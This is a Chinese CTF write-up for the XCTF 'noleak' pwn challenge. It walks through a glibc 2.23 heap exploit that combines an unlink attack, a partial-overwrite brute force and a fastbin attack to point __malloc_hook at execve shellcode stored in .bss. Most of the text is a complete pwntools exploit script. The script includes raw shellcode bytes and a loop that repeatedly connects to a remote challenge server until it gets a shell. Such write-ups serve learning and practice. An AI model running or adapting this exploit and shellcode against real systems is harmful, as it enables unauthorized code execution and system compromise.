例题:攻防世界noleak
首先在不用unsort bin的情况下进行攻击,那么我们怎么拿到__malloc_hook的地址呢?
攻击思路:将shellcode放入程序的bss段(0x601020)通过__malloc_hook执行bss中的shellcode,为什么需要爆破呢, 因为我们实际上是获取不到 maloc_hook的地址的只是将它写入到了一个地址处,然后通过fast bin attact 攻击,因为fast bin的fake chunk需要检查size位,既然创造size位,那么libc-2-23中malloc_hook的最后1个字节是10,那么在它上面伪造chunk就需要将它减去0x23才有一个0x7f的size位,那么减去了0x23后就到了就与main_arena+88就有1个半的字节偏移,那么我们不能写入1个半的字节只能写入2个字节,那么它的第低4位就不确定,那么就需要爆破
- 通过unlink写入修改ptr保存的指针
add(0x100,'A'*0x100)
add(0x100,'B'*0x100) #这个必须是unsort chunk
fake = p64(0) + p64(0x101) #伪造的chunk
fake+= p64(ptr-0x18) + p64(ptr-0x10)
fake+= '*'*(0x100-0x20)
fake+= p64(0x100) + p64(0x110)
edit(0,len(fake),fake)
dele(1)
#raw('unlink')
- 写入shellcode
padding = '*'*0x18 + p64(shcode)
edit(0,len(padding),padding)
edit(0,len(sh),sh)
#raw('已经填入shellcode')
- 创造fast bin attack条件(也就是这里需要爆破),通过堆溢出修改unsort chunk为fast chunk
fake_malloc_hook = (libc.symbols['__malloc_hook'] & 0xfff)-0x23
add(0x60,'C'*0x60) #用于溢出修改下一个chunk为fast chunk
add(0x100,'D'*0x100)
add(0x60,'E'*0x60) #防止top chunk合并
dele(3)
add(0x100,p16(fake_malloc_hook))#将unsort chunk从unsort bin中拿出来,此时fd、bk都指向main_arena+88 此时修改最后2 byte 此时只有第低4位不一样就需要爆破,也很>快
padding = '*'*0x68 + p64(0x71)
edit(2,len(padding),padding)
- 使用fast bin attack
#开始fast bin 攻击
dele(2) #生成一个链条然后修改chunk3的最后一个使它指向chunk4
dele(4)
edit(4,1,p8(0x80))
#raw('将__malloc_hook处的fake chunk放入fast bin 注意拿出时必须是0x70区域的fast chunk不然会报size错误')
- 拿到__malloc_hook处的fake chunk
add(0x60,'*'*0x60)
add(0x60,'*'*0x60)
payload ='*'*0x13+p64(shcode)#向__mallo_hook写入指向shellcode的指针
- 执行shellcode
sla('Your choice :','1')
sla('Size:',str(1))
it()
完整的exp:
# -*-coding:utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#coneext.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'amd64')
binary = "./noleak"
global p
local = 0
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","52210")
e = ELF(binary)
libc = ELF('libc-2.23.so')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def dbg():
gdb.attach(p)
pause()
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
#lg('canary',canary)
def raw(s):
log.success('当前执行步骤 -> '+s)
pause()
def add(Size,Data):
sla('Your choice :','1')
sla('Size:',str(Size))
sa('Data:',Data)
def dele(Index):
sla('Your choice :','2')
sla('Index:',str(Index))
def edit(Index,Size,Data):
sla('Your choice :','3')
sla('Index:',str(Index))
sla('Size:',str(Size))
sa('Data:',Data)
shcode = 0x601020 #bss 用于存放shellcode
ptr = 0x601040 #有uaf漏洞的chunk
sh=b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'# + '\x00'*0x9 + p64(shcode) #+ '\x00' * 0x10
#思路:1.将shellcode写入到bss段
#2.修改__malloc_hook内存指向shellcode
def pwn():
#通过unlink写入shellcode到指定bss
add(0x100,'A'*0x100)
add(0x100,'B'*0x100)
fake = p64(0) + p64(0x101)
fake+= p64(ptr-0x18) + p64(ptr-0x10)
fake+= '*'*(0x100-0x20)
fake+= p64(0x100) + p64(0x110)
edit(0,len(fake),fake)
dele(1)
#raw('unlink')
padding = '*'*0x18 + p64(shcode)
edit(0,len(padding),padding)
edit(0,len(sh),sh)
#raw('已经填入shellcode')
fake_malloc_hook = (libc.symbols['__malloc_hook'] & 0xfff)-0x23
add(0x60,'C'*0x60) #用于溢出修改下一个chunk为fast chunk
add(0x100,'D'*0x100)
add(0x60,'E'*0x60) #防止top chunk合并
dele(3)
add(0x100,p16(fake_malloc_hook))#将unsort chunk从unsort bin中拿出来,此时fd、bk都指向main_arena+88 此时修改最后2 byte 此时只有第低4位不一样就需要爆破,也很快
padding = '*'*0x68 + p64(0x71)
edit(2,len(padding),padding)
#开始fast bin 攻击
dele(2) #生成一个链条然后修改chunk3的最后一个使它指向chunk4
dele(4)
edit(4,1,p8(0x80))
# raw('将__malloc_hook处的fake chunk放入fast bin 注意拿出时必须是0x70区域的fast chunk不然会报size错误')
add(0x60,'*'*0x60)
add(0x60,'*'*0x60)
payload ='*'*0x13+p64(shcode)
# raw('p')
add(0x60,payload)
sla('Your choice :','1')
sla('Size:',str(1))
it()
def connect():
global p
num = 1
while True:
try:
log.info('try -> %d',num)
#p = process("./noleak")
p = remote("111.200.241.244","52210")
pwn()
break
except KeyboardInterrupt:
break
except:
p.close()
num += 1
continue
connect()
最后爆破也挺快十几秒之内就能完成